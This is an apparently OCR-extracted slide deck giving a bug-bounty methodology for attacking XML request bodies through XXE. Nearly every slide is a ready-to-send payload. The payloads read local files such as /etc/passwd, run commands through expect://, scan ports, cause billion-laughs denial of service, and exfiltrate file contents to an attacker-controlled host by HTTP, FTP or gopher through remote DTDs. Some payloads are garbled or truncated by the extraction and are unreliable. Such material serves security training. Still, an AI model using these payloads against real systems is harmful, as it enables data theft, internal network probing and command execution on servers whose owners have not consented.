



# XML BODY

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<root>
  <email>me@gmail.com</email>
  <password>*****</password>
</root>
```

**Mahmoud M. Awali**

 **@0xAwali**



**attacker**

## Workflow Of Hacking XML BODY



**Content-Type: application/json**

**Convert Content Type Header**



**Content-Type: application/xml**

**Content-Type: \*/\***



attacker

My Methodology

Try To Read Local Files e.g. `<!DOCTYPE name [ <!ENTITY read SYSTEM "file:///etc/passwd">]>`

-  Slides

-  Slides

-  Video

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read SYSTEM "file:///etc/passwd">
]>
<root>
  <email>&read;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Read Local Files With standalone="no" e.g.

`<?xml version="1.0" encoding="UTF-8" standalone="no"?>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0" encoding="UTF-8" standalone="no"?>`

`<!DOCTYPE root [`

`<!ENTITY read SYSTEM "file:///etc/passwd">`

`]>`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Read Local Files e.g. `<!DOCTYPE name [  
<!ENTITY read PUBLIC "file:///etc/passwd">]>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0"?>`

`<!DOCTYPE root [`

`<!ENTITY read PUBLIC "file:///etc/passwd">`

`]>`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`



attacker

## My Methodology

Try To Read Local Files e.g. `<!DOCTYPE name [ <!ELEMENT root ANY > <!ENTITY read SYSTEM "file:///etc/passwd">]>`

•



Writeup

•



Writeup

```
POST /xml-body HTTP/1.1
```

```
Host: www.company.com
```

```
Content-Type: application/xml
```

```
Content-Length: Number
```

```
<?xml version="1.0"?>
```

```
<!DOCTYPE root [
```

```
<!ELEMENT root ANY >
```

```
<!ENTITY % read SYSTEM "file:///etc/passwd">
```

```
]>
```

```
<root>
```

```
  <email>&read;</email>
```

```
  <password>*****</password>
```

```
</root>
```



attacker

## My Methodology

If You Will Read Files Contains Special Characters e.g. **etc/fstab** So You Will Need Using **<![CDATA[ ]]>** To Bypass This



## Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<ENTITY start "<![CDATA[">
<ENTITY file SYSTEM "file:///etc/fstab">
<ENTITY end "]">">
<ENTITY read "&start,&file,&end;">]>
<root>
  <email>&read;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Read Large Files e.g. `<!DOCTYPE name [ <!ENTITY read SYSTEM "file:///dev/urandom">]>` To Do DOS

-  Slides
-  Slides
-  Writeup

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "file:///dev/urandom">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**





attacker

My Methodology

Try To Read Local Files e.g. `<!DOCTYPE read SYSTEM "file:///etc/passwd">`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0"?>`

`<!DOCTYPE read SYSTEM "file:///etc/passwd">`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`



attacker

My Methodology

Try To Get **DNS OR HTTP Reverse Interaction** By Using e.g.

**<!DOCTYPE name [ <!ENTITY SYSTEM "http://id.burpcollaborator.net">]>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "http://id.burpcollaborator.net/">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Get **DNS OR HTTP Reverse Interaction** With **standalone="no"** e.g.  
**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
  <ENTITY read SYSTEM "http://id.burpcollaborator.net/">
]>
<root>
  <email>&read;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Get **DNS OR HTTP Reverse Interaction** By Using e.g. **<!DOCTYPE name [ <!ENTITY PUBLIC "http://id.burpcollaborator.net">]>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root [**

**<!ENTITY read PUBLIC "http://id.burpcollaborator.net/">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Get **DNS OR HTTP Reverse Interaction** By Using e.g.  
**<!DOCTYPE name SYSTEM "http://id.burpcollaborator.net">**



Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://id.burpcollaborator.net/">
<root>
  <email>me@gmail.com</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Get **DNS OR HTTP Reverse Interaction** With **standalone="no"** e.g.  
**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**

**<!DOCTYPE root SYSTEM "http://id.burpcollaborator.net/">**

<root>

<email>me@gmail.com</email>

<password>\*\*\*\*\*</password>

</root>



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Get **DNS OR HTTP Reverse Interaction** By Using e.g. **<!DOCTYPE name PUBLIC "http://id.burpcollaborator.net">**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root PUBLIC "http://id.burpcollaborator.net/">**

<root>

<email>me@gmail.com</email>

<password>\*\*\*\*\*</password>

</root>



attacker

My Methodology

Try To Get Read Files From FTP Server By Using e.g.

`<!DOCTYPE name [ <!ENTITY SYSTEM "ftp://comapny.com/secrets.txt">]>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0"?>`

`<!DOCTYPE root [`

`<!ENTITY read SYSTEM "ftp://company.com/secrets.txt">`

`]>`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`





attacker

My Methodology

Try To Get Read Files From FTP Server With standalone="no" e.g.  
<?xml version="1.0" encoding="UTF-8" standalone="no"?>



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root [
  <!ENTITY read SYSTEM "ftp://company.com/secrets.txt">
]>
<root>
  <email>&read;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Read Files From FTP Server By Using e.g.  
<!DOCTYPE name [ <!ENTITY PUBLIC "ftp://comapny.com/secrets.txt">]>



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY read PUBLIC "ftp://company.com/secrets.txt">

<root>

<email>&read;</email>

<password>\*\*\*\*\*</password>

</root>



attacker

## Reading From Remote XML File

```
root@mine:~#cat file.xml
<ENTITY % data SYSTEM "file:///etc/passwd">
<ENTITY % responseBack "<ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;>'>">
```

POST /xml-body HTTP/1.1  
Host: www.company.com  
Content-Type: application/xml  
Content-Length: Number

```
<?xml version="1.0"?>
<!DOCTYPE root [
<ELEMENT root ANY >
<ENTITY % read SYSTEM "http://me.com/file.xml">
%read;
%responseBack;
]>
<root>
  <email>&pwnfromME</email>
  <password>*****</password>
</root>
```



Slides



attacker

Reading From Remote XML File With standalone="no"



Slides

```
root@mine:~#cat file.xml
<ENTITY % data SYSTEM "file:///etc/passwd">
<ENTITY % responseBack "<ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;'>">
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root {
<ELEMENT root ANY >
<ENTITY % read SYSTEM "http://me.com/file.xml">
%read;
%responseBack;
}>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote XML File With PUBLIC Instead Of SYSTEM



Slides

```
root@mine:~#cat file.xml
<ENTITY % data SYSTEM "file:///etc/passwd">
<ENTITY % responseBack "<ENTITY pwnfromME SYSTEM 'http%data;://1.3.3.7/;>'>">
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE root {
<ELEMENT root ANY >
<ENTITY % read PUBLIC "http://me.com/file.xml">
%read;
%responseBack;
}>
<root>
  <email>&pwnfromME</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote DTD File



Video



Writeup



Writeup

```
root@mine:~#cat file.dtd
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'file:///test/_%read;'>">
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root {
<!ENTITY % send SYSTEM "https://me.com/file.dtd">
%send;
%all;
}>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote DTD File II



Video



Writeup



Writeup

```
root@mine:~#cat file.dtd
<!ENTITY % all "<ENTITY pwnfromME SYSTEM 'http://me.com/?file=&read;'>"
%all;
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<ENTITY % read SYSTEM "file:///etc/passwd">
<ENTITY % send SYSTEM "http://me.com/file.dtd">
%send;
]>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote DTD File III

```
root@mine:~#cat file.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY pwnfromMe SYSTEM 'http://me.com/?%file;'>">
%send;
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://me.com/file.dtd">
<root>
  <email>&pwnfromME</email>
  <password>*****</password>
</root>
```



Slides



Blog



Writeup





attacker

## Reading From Remote DTD File IIII

```
root@mine:~#cat file.dtd
<!ENTITY start "<![CDATA[">
<!ENTITY file SYSTEM "file:///etc/fstab">
<!ENTITY end "]]">
<!ENTITY pwnfromME "&start;&file;&end;">]
```



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://me.com/file.dtd">
<root>
  <email>&pwnfromME</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote DTD File Contains FTP Server

```
root@mine:~#cat ftp.dtd
<?xml version="1.0" encoding="UTF-8"?>
<ENTITY % all "<ENTITY pwnfromME SYSTEM 'ftp://test:%read;@me.com:PORT/'> %all;
root@mine:~#python -m http.server 9001
root@mine:~#ruby ftp_server.rb
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <ENTITY % read SYSTEM "file:///";
  <ENTITY % send SYSTEM "https://me.com:9001/ftp.dtd">
  %send;
]>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



Slides



attacker

## Reading From Remote DTD File Contains FTP Server II



Video



Blog



Writeup

```
root@mine:~#cat ftp.dtd
<ENTITY % read SYSTEM 'file:///etc/hosts">
<ENTITY % all "<ENTITY pwnfromME SYSTEM 'ftp://me.com:PORT:/_%read;'>">
root@mine:~#ruby ftp_server.rb
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<ENTITY % send SYSTEM "https://me.com/ftp.dtd">
%send;
%all;
]>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



attacker

## Reading From Remote DTD File Contains Gopher Protocol

```
root@mine:~#cat gopher.dtd
<ENTITY % all "<ENTITY pwnfromME SYSTEM 'gopher://me.com:80/%read;'>">
%all;
root@mine:~#tcpdump -A src host www.comant.com and port 80 and greater 1000
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <ENTITY % read SYSTEM 'file:///etc/hosts">
  <ENTITY % send SYSTEM "https://me.com/gopher.dtd">
  %send;
]>
<root>
  <email>&pwnfromME</email>
  <password>*****</password>
</root>
```



Writeup



attacker

Try To Use Local DTD Files To Read Local Files e.g. etc/passwd



Slides



Blog

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" ?>
```

```
<!DOCTYPE root {
```

```
  <ENTITY % local_dtd SYSTEM "file:///FUZZ-Here-To-GET-Path/Local-File.dtd">
```

```
  <ENTITY % condition 'aaa'>
```

```
    <ENTITY &#x25; file SYSTEM "file:///etc/passwd">
```

```
    <ENTITY &#x25; eval "<ENTITY &#x25;&#x25; error SYSTEM &#x27;file:///nonexistent&#x25;file&#x27;*>"
```

```
    &#x25;eval;
```

```
    &#x25;error;
```

```
    <ELEMENT aa (bb">
```

```
      %local_dtd;
```

```
  }>
```

```
<root>
```

```
  <email>me@gmail.com</email>
```

```
  <password>*****</password>
```

```
</root>
```



attacker

Use Open Redirection To Read From Remote DTD File



Blog

```
root@mine:~#cat file.dtd
<!ENTITY % read SYSTEM 'file:///etc/hosts">
<!ENTITY % all "<!ENTITY pwnfromME SYSTEM 'file:///test/_%read;'>">
```

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % send SYSTEM "https://company.com/open?url=http://me.com/file.dtd">
%send;
%all;
]>
<root>
  <email>&pwnfromME;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Use Some Wrappers e.g. **php://** , **data://** , **phar://** OR **rar://** By Using e.g. **<!DOCTYPE name [ <!ENTITY SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>**

-  Slides

-  Slides

-  Blog

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Use Some Wrappers e.g. `php://` , `data://` , `phar://` OR `rar://` With `standalone="no"` e.g.  
`<?xml version="1.0" encoding="UTF-8" standalone="no"?>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">**

**>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**





attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM With Some Wrappers e.g. `php://` , `data://` , `phar://` OR `rar://` By Using e.g. `<!DOCTYPE name [ <!ENTITY PUBLIC "php://filter/convert.base64-encode/resource=/etc/passwd">]>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0"?>**

**<!DOCTYPE root [**

**<!ENTITY read PUBLIC "php://filter/convert.base64-encode/resource=/etc/passwd">**

**]>**

**<root>**

**<email>&read:</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Use expect Wrapper e.g.

```
<!DOCTYPE name [ <!ENTITY SYSTEM "expect://CMD">]>
```



Slides



Video

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

```
<?xml version="1.0"?>
```

```
<!DOCTYPE root [
```

```
<!ENTITY read SYSTEM "expect://id">
```

```
]>
```

```
<root>
```

```
  <email>&read;</email>
```

```
  <password>*****</password>
```

```
</root>
```



attacker

My Methodology

Try To Use expect Wrapper With **standalone="no"** e.g.

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "expect://id">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM With expect Wrapper e.g.

`<!DOCTYPE name [ <!ENTITY PUBLIC "expect://CMD">]>`



Slides

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY read PUBLIC "expect://id">
]>
<root>
  <email>&read;</email>
  <password>*****</password>
</root>
```



attacker

My Methodology

Try To Do PORT Scanning By Using e.g.

`<!DOCTYPE name [ <!ENTITY SYSTEM "http://comapny.com:PORT">]>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0"?>`

`<!DOCTYPE root [`

`<!ENTITY read SYSTEM "http://company.com:PORT">`

`]>`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`



attacker

My Methodology

Try To Do PORT Scanning With **standalone="no"** e.g.

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

**Content-Type: application/xml**

Content-Length: Number

**<?xml version="1.0" encoding="UTF-8" standalone="no"?>**

**<!DOCTYPE root [**

**<!ENTITY read SYSTEM "http://company.com/PORT">**

**]>**

**<root>**

**<email>&read;</email>**

**<password>\*\*\*\*\*</password>**

**</root>**



attacker

My Methodology

Try To Use PUBLIC Instead Of SYSTEM To Do PORT Scanning By Using e.g.  
`<!DOCTYPE name [ <!ENTITY PUBLIC "http://comapny.com:PORT">]>`



Slides

POST /xml-body HTTP/1.1

Host: www.company.com

Content-Type: application/xml

Content-Length: Number

`<?xml version="1.0"?>`

`<!DOCTYPE root [`

`<!ENTITY read PUBLIC "http://company.com:PORT">`

`]>`

`<root>`

`<email>&read;</email>`

`<password>*****</password>`

`</root>`



# attacker

## My Methodology

# Try To Do **DOS** aka Billion Laughs Attack



# Slides



# Slides



# Video

```
POST /xml-body HTTP/1.1
Host: www.company.com
Content-Type: application/xml
Content-Length: Number
```

[illegible]





## Try To Do DOS aka Billion Laughs Attack With standalone="no" e.g.



```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<DOCTYPE root [
  <ENTITY iso "iso">
  <ELEMENT root (#PCDATA)>
  <ENTITY iso1 "iso1 iso2 iso3 iso4 iso5 iso6 iso7 iso8 iso9 iso10 iso11 iso12 iso13 iso14 iso15 iso16 iso17 iso18 iso19 iso20 iso21 iso22 iso23 iso24 iso25 iso26 iso27 iso28 iso29 iso30 iso31 iso32 iso33 iso34 iso35 iso36 iso37 iso38 iso39 iso40 iso41 iso42 iso43 iso44 iso45 iso46 iso47 iso48 iso49 iso50 iso51 iso52 iso53 iso54 iso55 iso56 iso57 iso58 iso59 iso60 iso61 iso62 iso63 iso64 iso65 iso66 iso67 iso68 iso69 iso70 iso71 iso72 iso73 iso74 iso75 iso76 iso77 iso78 iso79 iso80 iso81 iso82 iso83 iso84 iso85 iso86 iso87 iso88 iso89 iso90 iso91 iso92 iso93 iso94 iso95 iso96 iso97 iso98 iso99 iso100 iso101 iso102 iso103 iso104 iso105 iso106 iso107 iso108 iso109 iso110 iso111 iso112 iso113 iso114 iso115 iso116 iso117 iso118 iso119 iso120 iso121 iso122 iso123 iso124 iso125 iso126 iso127 iso128 iso129 iso130 iso131 iso132 iso133 iso134 iso135 iso136 iso137 iso138 iso139 iso140 iso141 iso142 iso143 iso144 iso145 iso146 iso147 iso148 iso149 iso150 iso151 iso152 iso153 iso154 iso155 iso156 iso157 iso158 iso159 iso160 iso161 iso162 iso163 iso164 iso165 iso166 iso167 iso168 iso169 iso170 iso171 iso172 iso173 iso174 iso175 iso176 iso177 iso178 iso179 iso180 iso181 iso182 iso183 iso184 iso185 iso186 iso187 iso188 iso189 iso190 iso191 iso192 iso193 iso194 iso195 iso196 iso197 iso198 iso199 iso200 iso201 iso202 iso203 iso204 iso205 iso206 iso207 iso208 iso209 iso210 iso211 iso212 iso213 iso214 iso215 iso216 iso217 iso218 iso219 iso220 iso221 iso222 iso223 iso224 iso225 iso226 iso227 iso228 iso229 iso230 iso231 iso232 iso233 iso234 iso235 iso236 iso237 iso238 iso239 iso240 iso241 iso242 iso243 iso244 iso245 iso246 iso247 iso248 iso249 iso250 iso251 iso252 iso253 iso254 iso255 iso256 iso257 iso258 iso259 iso260 iso261 iso262 iso263 iso264 iso265 iso266 iso267 iso268 iso269 iso270 iso271 iso272 iso273 iso274 iso275 iso276 iso277 iso278 iso279 iso280 iso281 iso282 iso283 iso284 iso285 iso286 iso287 iso288 iso289 iso290 iso291 iso292 iso293 iso294 iso295 iso296 iso297 iso298 iso299 iso300 iso301 iso302 iso303 iso304 iso305 iso306 iso307 iso308 iso309 iso310 iso311 iso312 iso313 iso314 iso315 iso316 iso317 iso318 iso319 iso320 iso321 iso322 iso323 iso324 iso325 iso326 iso327 iso328 iso329 iso330 iso331 iso332 iso333 iso334 iso335 iso336 iso337 iso338 iso339 iso340 iso341 iso342 iso343 iso344 iso345 iso346 iso347 iso348 iso349 iso350 iso351 iso352 iso353 iso354 iso355 iso356 iso357 iso358 iso359 iso360 iso361 iso362 iso363 iso364 iso365 iso366 iso367 iso368 iso369 iso370 iso371 iso372 iso373 iso374 iso375 iso376 iso377 iso378 iso379 iso380 iso381 iso382 iso383 iso384 iso385 iso386 iso387 iso388 iso389 iso390 iso391 iso392 iso393 iso394 iso395 iso396 iso397 iso398 iso399 iso400 iso401 iso402 iso403 iso404 iso405 iso406 iso407 iso408 iso409 iso410 iso411 iso412 iso413 iso414 iso415 iso416 iso417 iso418 iso419 iso420 iso421 iso422 iso423 iso424 iso425 iso426 iso427 iso428 iso429 iso430 iso431 iso432 iso433 iso434 iso435 iso436 iso437 iso438 iso439 iso440 iso441 iso442 iso443 iso444 iso445 iso446 iso447 iso448 iso449 iso450 iso451 iso452 iso453 iso454 iso455 iso456 iso457 iso458 iso459 iso460 iso461 iso462 iso463 iso464 iso465 iso466 iso467 iso468 iso469 iso470 iso471 iso472 iso473 iso474 iso475 iso476 iso477 iso478 iso479 iso480 iso481 iso482 iso483 iso484 iso485 iso486 iso487 iso488 iso489 iso490 iso491 iso492 iso493 iso494 iso495 iso496 iso497 iso498 iso499 iso500 iso501 iso502 iso503 iso504 iso505 iso506 iso507 iso508 iso509 iso510 iso511 iso512 iso513 iso514 iso515 iso516 iso517 iso518 iso519 iso520 iso521 iso522 iso523 iso524 iso525 iso526 iso527 iso528 iso529 iso530 iso531 iso532 iso533 iso534 iso535 iso536 iso537 iso538 iso539 iso540 iso541 iso542 iso543 iso544 iso545 iso546 iso547 iso548 iso549 iso550 iso551 iso552 iso553 iso554 iso555 iso556 iso557 iso558 iso559 iso560 iso561 iso562 iso563 iso564 iso565 iso566 iso567 iso568 iso569 iso570 iso571 iso572 iso573 iso574 iso575 iso576 iso577 iso578 iso579 iso580 iso581 iso582 iso583 iso584 iso585 iso586 iso587 iso588 iso589 iso590 iso591 iso592 iso593 iso594 iso595 iso596 iso597 iso598 iso599 iso600 iso601 iso602 iso603 iso604 iso605 iso606 iso607 iso608 iso609 iso610 iso611 iso612 iso613 iso614 iso615 iso616 iso617 iso618 iso619 iso620 iso621 iso622 iso623 iso624 iso625 iso626 iso627 iso628 iso629 iso630 iso631 iso632 iso633 iso634 iso635 iso636 iso637 iso638 iso639 iso640 iso641 iso642 iso643 iso644 iso645 iso646 iso647 iso648 iso649 iso650 iso651 iso652 iso653 iso654 iso655 iso656 iso657 iso658 iso659 iso660 iso661 iso662 iso663 iso664 iso665 iso666 iso667 iso668 iso669 iso670 iso671 iso672 iso673 iso674 iso675 iso676 iso677 iso678 iso679 iso680 iso681 iso682 iso683 iso684 iso685 iso686 iso687 iso688 iso689 iso690 iso691 iso692 iso693 iso694 iso695 iso696 iso697 iso698 iso699 iso700 iso701 iso702 iso703 iso704 iso705 iso706 iso707 iso708 iso709 iso710 iso711 iso712 iso713 iso714 iso715 iso716 iso717 iso718 iso719 iso720 iso721 iso722 iso723 iso724 iso725 iso726 iso727 iso728 iso729 iso730 iso731 iso732 iso733 iso734 iso735 iso736 iso737 iso738 iso739 iso740 iso741 iso742 iso743 iso744 iso745 iso746 iso747 iso748 iso749 iso750 iso751 iso752 iso753 iso754 iso755 iso756 iso757 iso758 iso759 iso760 iso761 iso762 iso763 iso764 iso765 iso766 iso767 iso768 iso769 iso770 iso771 iso772 iso773 iso774 iso775 iso776 iso777 iso778 iso779 iso780 iso781 iso782 iso783 iso784 iso785 iso786 iso787 iso788 iso789 iso790 iso791 iso792 iso793 iso794 iso795 iso796 iso797 iso798 iso799 iso800 iso801 iso802 iso803 iso804 iso805 iso806 iso807 iso808 iso809 iso810 iso811 iso812 iso813 iso814 iso815 iso816 iso817 iso818 iso819 iso820 iso821 iso822 iso823 iso824 iso825 iso826 iso827 iso828 iso829 iso830 iso831 iso832 iso833 iso834 iso835 iso836 iso837 iso838 iso839 iso840 iso841 iso842 iso843 iso844 iso845 iso846 iso847 iso848 iso849 iso850 iso851 iso852 iso853 iso854 iso855 iso856 iso857 iso858 iso859 iso860 iso861 iso862 iso863 iso864 iso865 iso866 iso867 iso868 iso869 iso870 iso871 iso872 iso873 iso874 iso875 iso876 iso877 iso878 iso879 iso880 iso881 iso882 iso883 iso884 iso885 iso886 iso887 iso888 iso889 iso890 iso891 iso892 iso893 iso894 iso895 iso896 iso897 iso898 iso899 iso900 iso901 iso902 iso903 iso904 iso905 iso906 iso907 iso908 iso909 iso910 iso911 iso912 iso913 iso914 iso915 iso916 iso917 iso918 iso919 iso920 iso921 iso922 iso923 iso924 iso925 iso926 iso927 iso928 iso929 iso930 iso931 iso932 iso933 iso934 iso935 iso936 iso937 iso938 iso939 iso940 iso941 iso942 iso943 iso944 iso945 iso946 iso947 iso948 iso949 iso950 iso951 iso952 iso953 iso954 iso955 iso956 iso957 iso958 iso959 iso960 iso961 iso962 iso963 iso964 iso965 iso966 iso967 iso968 iso969 iso970 iso971 iso972 iso973 iso974 iso975 iso976 iso977 iso978 iso979 iso980 iso981 iso982 iso983 iso984 iso985 iso986 iso987 iso988 iso989 iso990 iso991 iso992 iso993 iso994 iso995 iso996 iso997 iso998 iso999 iso1000 iso1001 iso1002 iso1003 iso1004 iso1005 iso1006 iso1007 iso1008 iso1009 iso1010 iso1011 iso1012 iso1013 iso1014 iso1015 iso1016 iso1017 iso1018 iso1019 iso1020 iso1021 iso1022 iso1023 iso1024 iso1025 iso1026 iso1027 iso10
```



attacker

My Methodology

Try To Use **Encoding UTF-7 , UTF-16 OR UTF-16BE** Instead Of **Encoding UTF-8** e.g.  
**<?xml version="1.0" encoding="UTF-7" standalone="no"?>**



Slides



Tweet

Steps to produce :-

1 - Open Your Terminal

2 - Write This Command

```
payload='<!DOCTYPE root [  
<!ENTITY read SYSTEM "file:///etc/passwd">  
>'  
echo $payload | iconv -f UTF-8 -t UTF-7 | tee -a UTF-7-Payload  
3 - Use Content Of UTF-7-payload In Your Request  
<?xml version="1.0" encoding="UTF-7" standalone="no"?>  
Content Of UTF-7-payload
```

# Thank You

**Mahmoud M. Awali**

 **@0xAwali**